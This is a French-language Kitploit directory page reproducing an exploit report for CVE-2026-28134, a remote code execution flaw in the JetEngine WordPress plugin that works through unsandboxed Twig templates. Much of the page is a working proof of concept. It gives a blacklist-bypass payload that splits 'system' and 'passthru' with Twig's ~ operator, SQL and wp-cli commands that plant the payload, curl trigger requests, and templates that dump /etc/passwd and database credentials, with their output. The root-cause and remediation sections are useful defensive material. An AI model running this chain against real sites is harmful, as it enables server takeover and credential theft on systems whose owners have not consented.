Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-28134 — JetEngine <= 3.7.2 - Exécution de code à distance authentifiée (Contributor+) | Kitploit
Outils/GitHubGitHub/randomrobbiebf/cve-2026-28134
Analyse des VulnérabilitésExploitationExploitation d'Applications WebDéveloppement de Charges Utiles
GitHubrandomrobbiebf/cve-2026-28134

CVE-2026-28134

JetEngine <= 3.7.2 - Exécution de code à distance authentifiée (Contributor+)

Voir le dépôt
il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Rapport d'exploitation de CVE-2026-28134

JetEngine <= 3.7.2 — Exécution de code à distance authentifiée (Contributeur+) via SSTI Twig

Date : 11 mars 2026 Score CVSS : 8.8 (Élevé) Vecteur CVSS : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Plugin concerné : JetEngine <= 3.7.2 Slug du plugin : jet-engine CVE : CVE-2026-28134 Statut : Privé Version WordPress testée : Dernière


Résumé exécutif

CVE-2026-28134 est une vulnérabilité d'exécution de code à distance dans le plugin WordPress JetEngine affectant toutes les versions jusqu'à la 3.7.2 incluse. Cette vulnérabilité permet à des attaquants authentifiés disposant d'un accès de niveau Contributeur ou supérieur d'exécuter des commandes système arbitraires sur le serveur en injectant un modèle Twig malveillant dans un post JetEngine de type Listing.

La chaîne d'attaque combine trois faiblesses :

  1. Un répartiteur AJAX non authentifié, sans vérification de nonce ni de capacité, qui rend les modèles des posts Listing.
  2. Un moteur de rendu Twig/Timber sans sandbox — seulement un filtre de liste noire basé sur des chaînes.
  3. Un contournement du filtre utilisant l'opérateur de concaténation de chaînes ~ de Twig pour diviser les noms de fonctions bloqués entre plusieurs jetons.

✅ VULNÉRABILITÉ CONFIRMÉE — RCE complète obtenue

Impact confirmé :

  • Exécution de commandes système arbitraires en tant que www-data
  • Lecture complète du système de fichiers (/etc/passwd, wp-config.php)
  • Exfiltration des identifiants de base de données

Détails de la vulnérabilité

Résumé technique

JetEngine fournit un type de vue Listing basé sur Twig/Timber. Lorsque le composant timber_views est activé, les posts Listing avec _listing_type = twig voient leur méta de post _jet_engine_listing_html rendue comme un modèle Twig dynamique via Timber. Le pipeline de rendu est accessible via l'action AJAX non authentifiée wp_ajax_nopriv_jet_engine_ajax, et exige seulement que l'attaquant puisse créer ou modifier un post JetEngine de type Listing (rôle Contributeur minimum).

Composants concernés


Chaîne d'exploitation

Étape 1 — Répartiteur AJAX non authentifié

ajax-handlers.php enregistre l'action AJAX pour les utilisateurs authentifiés et non authentifiés :

root@kitploit:~
// ajax-handlers.php:29
add_action( 'wp_ajax_jet_engine_ajax',        array( $this, 'handle_ajax' ) );
add_action( 'wp_ajax_nopriv_jet_engine_ajax', array( $this, 'handle_ajax' ) );

Le gestionnaire répartit vers toute méthode publique de la classe en fonction de $_REQUEST['handler'], sans vérification de nonce ni de capacité :

root@kitploit:~
// ajax-handlers.php:96-104
public function handle_ajax() {
    if ( ! isset( $_REQUEST['handler'] ) || ! is_callable( array( $this, $_REQUEST['handler'] ) ) ) {
        return;
    }
    if ( ! empty( $_REQUEST['page_settings'] ) ) {
        foreach ( $_REQUEST['page_settings'] as $key => $value ) {
            $_REQUEST[ $key ] = $value;
        }
    }
    call_user_func( array( $this, $_REQUEST['handler'] ) );
}

L'appel à listing_load_more est accessible publiquement et déclenche le pipeline de rendu Listing.

Étape 2 — Pipeline de rendu Twig

La chaîne d'appels listing_load_more → get_listing → frontend->get_listing_item atteint :

root@kitploit:~
// frontend.php:302
$content = apply_filters( 'jet-engine/listing/content/' . $listing_view, null, $listing_id );

Lorsque $listing_view = 'twig', cela déclenche Jet_Engine\Timber_Views\Render::get_listing_content(), qui lit le modèle Twig depuis le champ méta _jet_engine_listing_html du post et le transmet directement à render_html() :

root@kitploit:~
// timber.php:150
$template = $twig->createTemplate(
    $this->sanitize_html(
        do_shortcode( $this->sanitize_twig_content( $html ) )
    )
);
return $template->render( $context );

Twig effectue le rendu sans sandbox. La seule protection est sanitize_twig_content().

Étape 3 — Contournement du filtre par concaténation de chaînes

sanitize_twig_content() supprime les noms de fonctions PHP dangereux à l'aide de motifs regex de limites de mots, puis vérifie si le modèle a été modifié :

root@kitploit:~
// timber.php:256-262
$dangerous_funcs = [
    'passthru', 'exec', 'eval', 'system', 'shell_exec', 'proc_open', 'popen',
    'assert', 'file_put_contents', 'file_get_contents', 'unlink', 'fopen', 'fwrite'
];
foreach ( $dangerous_funcs as $func ) {
    $input = preg_replace( '/\b' . preg_quote( $func, '/' ) . '\b/i', '', $input );
}

Le motif \bsystem\b correspond au jeton littéral system. Il ne correspond pas à "sys" ~ "tem" car ce sont deux jetons de chaîne quotés distincts. Twig évalue la concaténation au moment du rendu, produisant "system" uniquement en mémoire — le modèle source ne contient jamais le mot bloqué.

Payload de contournement :

root@kitploit:~
{{ fn("sys" ~ "tem", "id") }}

Le filtre voit fn, "sys", ~, "tem", "id" — aucun de ces éléments n'est dans la liste noire. Il passe inchangé.

Étape 4 — Exécution de code via l'assistant fn() de Timber

Timber enregistre des wrappers PHP appelables directement dans l'environnement Twig :

root@kitploit:~
// timber-library/lib/Twig.php:42-43
$twig->addFunction( new Twig_Function( 'function', array( &$this, 'exec_function' ) ) );
$twig->addFunction( new Twig_Function( 'fn',       array( &$this, 'exec_function' ) ) );
root@kitploit:~
// timber-library/lib/Twig.php:290-297
public function exec_function( $function_name ) {
    $args = func_get_args();
    array_shift( $args );
    if ( is_string( $function_name ) ) {
        $function_name = trim( $function_name );
    }
    return call_user_func_array( $function_name, ( $args ) );
}

{{ fn("sys" ~ "tem", "id") }} se résout en call_user_func_array("system", ["id"]) — exécution de commandes système arbitraires.


Preuve de concept

Prérequis

  1. L'attaquant dispose d'un accès WordPress de niveau Contributeur (ou supérieur).
  2. Le composant timber_views de JetEngine est activé (Réglages JetEngine > Performance > Vues Timber/Twig).
  3. Le plugin Timber Library est installé et actif.

Configuration

Créez un post JetEngine de type Listing avec le modèle Twig malveillant stocké dans la méta de post :

root@kitploit:~
-- Set listing type to twig
UPDATE wp_postmeta SET meta_value = 'twig'
WHERE post_id = <LISTING_ID> AND meta_key = '_listing_type';

-- Inject SSTI payload (sanitizer bypass via ~ concatenation)
UPDATE wp_postmeta SET meta_value = '{{ fn("sys" ~ "tem", "id") }}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_html';

-- Set listing source
UPDATE wp_postmeta SET meta_value = '{"listing_source":"posts","post_type":"post"}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_data';

Ou via wp-cli (en tant qu'utilisateur Contributeur) :

root@kitploit:~
wp post meta update <LISTING_ID> _listing_type twig
wp post meta update <LISTING_ID> _jet_engine_listing_html '{{ fn("sys" ~ "tem", "id") }}'

Déclenchement (non authentifié)

root@kitploit:~
curl -s -X POST 'http://TARGET/wp-admin/admin-ajax.php' \
  -d 'action=jet_engine_ajax' \
  -d 'handler=listing_load_more' \
  -d 'widget_settings[lisitng_id]=<LISTING_ID>' \
  -d 'widget_settings[columns]=1' \
  -d 'query[post_type]=post' \
  -d 'query[posts_per_page]=1' \
  -d 'query[paged]=1' \
  -d 'page_settings[page_id]=1'

Résultat

root@kitploit:~
{
  "success": true,
  "data": {
    "html": "<div class=\"jet-listing-grid__item jet-listing-dynamic-post-6\" data-post-id=\"6\">uid=33(www-data) gid=33(www-data) groups=33(www-data)\n</div>"
  }
}

Escalade — Lecture de fichiers

La chaîne bloquée passthru découpée en "pas" ~ "sthru" :

root@kitploit:~
curl -s -X POST 'http://TARGET/wp-admin/admin-ajax.php' \
  -d 'action=jet_engine_ajax' \
  -d 'handler=listing_load_more' \
  -d 'widget_settings[lisitng_id]=<LISTING_ID>' \
  -d 'widget_settings[columns]=1' \
  -d 'query[post_type]=post' \
  -d 'query[posts_per_page]=1' \
  -d 'query[paged]=1' \
  -d 'page_settings[page_id]=1'

Modèle défini sur {{ fn("pas" ~ "sthru", "cat /etc/passwd") }} :

root@kitploit:~
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

Escalade — Exfiltration d'identifiants

Modèle {{ fn("pas" ~ "sthru", "grep DB_ /var/www/html/wp-config.php") }} :

root@kitploit:~
define( 'DB_USER',     getenv_docker('WORDPRESS_DB_USER',     ...) );
define( 'DB_PASSWORD', getenv_docker('WORDPRESS_DB_PASSWORD', ...) );
define( 'DB_HOST',     getenv_docker('WORDPRESS_DB_HOST',     ...) );

Analyse des causes racines

Cause 1 — Absence d'authentification sur l'action AJAX

wp_ajax_nopriv_jet_engine_ajax se déclenche pour les requêtes non authentifiées. Le répartiteur handle_ajax() n'effectue aucune vérification de nonce ni de capacité avant d'invoquer listing_load_more. Le pipeline de rendu est donc accessible à tout utilisateur non authentifié dès qu'un listing malveillant existe.

Cause 2 — Absence de sandbox Twig

L'extension sandbox officielle de Twig (\Twig\Sandbox\SecurityPolicy) applique des listes blanches au niveau du moteur — il est impossible d'appeler des fonctions non explicitement autorisées. JetEngine utilise createTemplate() sans sandbox. La seule protection est une analyse de chaîne avant le rendu, facilement contournable.

Cause 3 — Liste noire regex insuffisante

L'approche de liste noire (/\bsystem\b/i) opère sur le texte source statique du modèle. L'opérateur de concaténation ~ de Twig construit des chaînes à l'exécution. Tout nom bloqué peut être découpé : "pass" ~ "thru", "she" ~ "ll_exec", "sys" ~ "tem", etc. Une sandbox adaptée rejetterait l'appel quelle que soit la manière dont le nom de fonction a été construit.

Cause 4 — Timber expose call_user_func_array

Les assistants Twig fn() et function() de Timber sont des ponts inconditionnels vers call_user_func_array de PHP. Il n'existe aucune liste blanche de fonctions appelables. Toute fonction PHP accessible depuis le processus web peut être invoquée.


Remédiation


Chronologie

DateÉvénement
2026-03-11Vulnérabilité découverte et confirmée avec un PoC complet de RCE
2026-03-11Rapport rédigé

Références

  • Plugin JetEngine — Crocoblock
  • Bibliothèque Timber/Twig pour WordPress
  • Extension Sandbox Twig
  • OWASP — Injection de modèles côté serveur
Télécharger l’outil
FichierProblème
includes/components/listings/ajax-handlers.php:29wp_ajax_nopriv_jet_engine_ajax enregistrée — aucune authentification ni nonce
includes/components/listings/ajax-handlers.php:104call_user_func(array($this, $_REQUEST['handler'])) — répartition arbitraire de méthodes publiques
includes/components/timber-views/timber.php:150render_html() rend un modèle Twig contrôlé par l'attaquant sans sandbox
includes/components/timber-views/timber.php:189sanitize_twig_content() — liste noire regex de chaînes, contournée par découpage de jetons
timber-library/lib/Twig.php:42-43Timber enregistre fn()/function() comme wrappers Twig pour call_user_func_array
CorrectifDescription
Ajouter une vérification de nonce + capacité à handle_ajax()Exiger la capacité edit_posts et un nonce valide pour toute répartition AJAX
Activer la sandbox TwigRemplacer la liste noire de chaînes par \Twig\Sandbox\SecurityPolicy — autoriser explicitement les fonctions et propriétés sûres
Restreindre l'assistant fn() de TimberMettre en liste blanche les noms de fonctions appelables ou retirer fn()/function() de l'environnement Twig pour les modèles non fiables
Valider la propriété du listingConfirmer que l'utilisateur demandeur possède la capacité edit_post sur le listing avant de rendre son modèle